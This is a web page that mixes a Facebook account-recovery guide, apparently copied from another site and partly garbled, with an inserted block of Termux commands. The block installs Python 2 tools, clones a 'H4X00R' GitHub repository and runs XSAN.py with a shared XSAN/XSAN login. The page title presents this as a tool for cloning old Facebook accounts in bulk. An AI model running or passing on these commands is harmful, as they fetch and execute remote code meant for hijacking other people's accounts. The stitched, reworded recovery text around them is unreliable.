Facebook OLD ACCOUNT CLONE UNLIMITED ID,S 2021

Forgot your password? Have you been hacked? Here's how to recover your Facebook account using the proven Facebook account recovery options.

Whether you forgot your password or thought your account was hacked, in this step-by-step guide we'll show you how to recover your Facebook account. Facebook offers a number of automated ways to recover your account. Much of this depends on the information you enter and is correct when you set up your account. If you have not done so or the information is out of date, chances are you will be able to access your account. However, when every other recovery method fails, we'll show you an alternative.

5 Ways to Restore Your Facebook Account

Restoring a Facebook account is difficult, especially if you haven't set any backup recovery options. Please be aware that many of the options below take time and patience. "A lot of people have been successful, even when nothing is working," he said.

Note: This article covers everything about Facebook account recovery. If you still have questions, post them to Facebook's support community.

Unfortunately, we can't provide personal assistance, and we don't have a direct line to Facebook.

1. Check if you are still logged in to Facebook.

Before attempting to recover your account, check that you are still logged into Facebook on any of your devices. This could be another browser or browser profile on your computer, your Facebook Android or iOS app, or a mobile browser, for example, your tablet or tablet.

If you can still use Facebook anywhere, you can "recover" your Facebook password without a verification reset code. Although you will actually create a new password.

Proceed to Step 1a of our article on what to do if your Facebook account is hacked, where we explain how to change your Facebook password. At this point, consider setting up two-factor authentication on Facebook.

Note: If you have established two-factor authentication and have lost access to your code generator, here's how to get your Facebook login back.

2. Try the default Facebook Account Recovery option.

If you do not find a device where you are still logged in to Facebook, we will proceed with the recovery options.

If possible, use an Internet connection and a computer or phone that is already logged into your Facebook account frequently. If Facebook recognizes this network and device, you can reset your password without additional verification. But first, you need to identify your account.

Option 1: Retrieve your account from its profile page.

If you have access to another Facebook account, for example, a friend or family member, and you can access your account's profile page because you are a Facebook friend, you can use this option. Can use Note that this will require logging out of another account.

If you do not want to do this, try another option instead.

To advance this option, find your profile in your Facebook friends list, open it, and ... click on or below your profile image (in the mobile app, three dot menus will appear below the image), Then select Support or Report Profile.

From the next menu, select the appropriate option, in this case I Can't Access My Account.

In the final step, select Recover this account and click Done, which will log you out of the account you're using, to start the account recovery.

This method will lead you to the same Reset Your Password window described under Option 2. The recovery is based on the contact data you added to your account.

If you need more help with the following recovery steps, please follow the instructions from the second screenshot below.

Option 2: Find and Recover Your Account With Contact Details

If you don't have access to Facebook at all or prefer not to log out of another account, open a new browser profile, e.g. a guest profile, and head to the Facebook recover page.

Enter an email address or phone number you previously added to your Facebook account. When you search for a phone number, try it with or without your country code, e.g. 1, +1, or 001 for the US; all three versions should work. Even if it doesn't say so, you can also use your Facebook username.

Once you successfully manage to identify your account, you will see a summary of your profile. Before you proceed, carefully check whether this really is your account and whether you still have access to the email address or phone number listed. You may be able to choose between email or phone recovery.

Should you No longer have access to these? proceed to point 3 of this article.

If all looks well with the contact details that Facebook has on file for you, however, click Continue. Facebook will send you a security code.

Retrieve the code from your email or phone (depending on which method you chose), enter it, and rejoice in having recovered your Facebook account.

At this point, you can set a new password, which we strongly recommend.

If the code never arrives, check your spam folder (email) or make sure you can receive text messages from unknown senders. One MakeUseOf reader contacted us saying she had not received the SMS code. Later, when she switched phones, all of Facebook's text messages came through at once. Apparently, the number was blocked on her old phone. Make sure this isn't happening to you, too.

If you still can't receive the code, click Didn't get a code? in the bottom-left corner of the Enter Security Code window, which will take you back to the previous screen.

You can try again or maybe you'll realize that you don't have access to the account after all.

Log Back Into Your Facebook Account

If you managed to regain access to your account and if you suspect that your Facebook account was hacked, immediately change your password and update your contact information.

XSAN____COMMNDS

OLD_____ACCOUNT

👇👇👇👇👇👀

pkg update && upgrade

pkg install python

pkg install git

pkg install python2

pkg install nodejs

pkg install git

pip2 install bs4

pip2 install requests

pip2 install mechanize

pip2 install lolcat

rm -rf H4X00R

git clone https://github.com/HACKERIHSAN/H4X00R.git

cd H4X00R

python2 XSAN.py

USER NAME 📛 XSAN

PASSWORD 👉 XSAN

These are key steps in securing your Facebook account. Be sure to remove any email addresses or phone numbers that are not your own or that you can no longer access.

We strongly recommend that you enable two-factor authentication on all of your social media accounts, so that this won't happen again.

3. Change Contact Information

Often, it's not possible to recover a Facebook account using the options above. Maybe you lost access to the email address and phone number you once added to your profile. Or maybe a hacker changed this information.

n that case, Facebook allows you to specify a new email address or phone number, which it will use to contact you about recovering your account.

To start this process, click the link No longer have access to these? in the bottom-left of the reset password page (see above) to start the Facebook account recovery process. Facebook will ask you for a new email address or phone number, so that it can get in touch with you to help you recover your account. Click Continue to proceed.

If you have set up Trusted Contacts, you can ask the social network to help you recover your Facebook account in the next step. You'll need to remember at least one full name of your Trusted Contacts to reveal all of them. Note that you only need three codes to recover your Facebook account.If you didn't set up Trusted Contacts, you might be given the option to answer one of your security questions and reset your password on the spot. As an additional precaution, this comes with a 24-hour waiting period before you can access your account.

Otherwise, you might have to wait until Facebook gets in touch to verify your identity. Be patient.

4. Check if Your Facebook Account Was Hacked to Send Spam

In the event that your account was hacked and is posting spam while you can no longer access it, you should report your Facebook account as compromised.

This will actually start a similar process to the one outlined above. While you will use the same information to identify your account, in the following step you will be able to use either a current or old Facebook password to recover your account.

This is useful in case a hacker changed your password, but it may also come in handy if you forget your new password. You can find more security-related tips on the Account Security page in the Facebook Help Center.

Note: If you're the victim of Facebook malware, read our article detailing how to prevent and remove Facebook malware.

RELATED:Things That Can Get You Permanently Banned From Facebook

5. Confirm Your Identity With Facebook

If all of Facebook's automated account recovery methods have failed, your last hope is Facebook support itself.

Facebook has a help centre page that lets you confirm your identity.

Upload a JPEG (photo) of your ID, enter an email address or mobile phone number that is (or was) associated with the Facebook account you wish to recover, then click Send to submit the information.

If you no longer have access to any of the email addresses or phone numbers associated with your account, enter one you have access to now. Then email security@facebookmail.com to explain your situation.

Mention that you've already submitted your ID to prove your identity. Do not attach your ID to your email, as email isn't a secure form of communication.

Either way, hearing back from Facebook can take several weeks, so you'll need to be patient.

Note: If you didn't use your real name on Facebook, your hopes for recovering your account this way are close to zero.

If All Else Fails, Create a New Facebook Profile

Over the past few years, we have received countless messages from people who weren't able to recover their Facebook accounts, even after going through all of these steps, one by one.

Usually, their contact information was outdated, the recovery codes Facebook provided didn't work, or the company would never respond to verify their identity. And at that point you're out of options.

At some point, you just have to move on. As much as it hurts, learn from your mistakes, and create a new account.

Be sure to add several valid contact details, secure your Facebook account, and rebuild your profile from scratch. It's a pain, but it's better than nothing.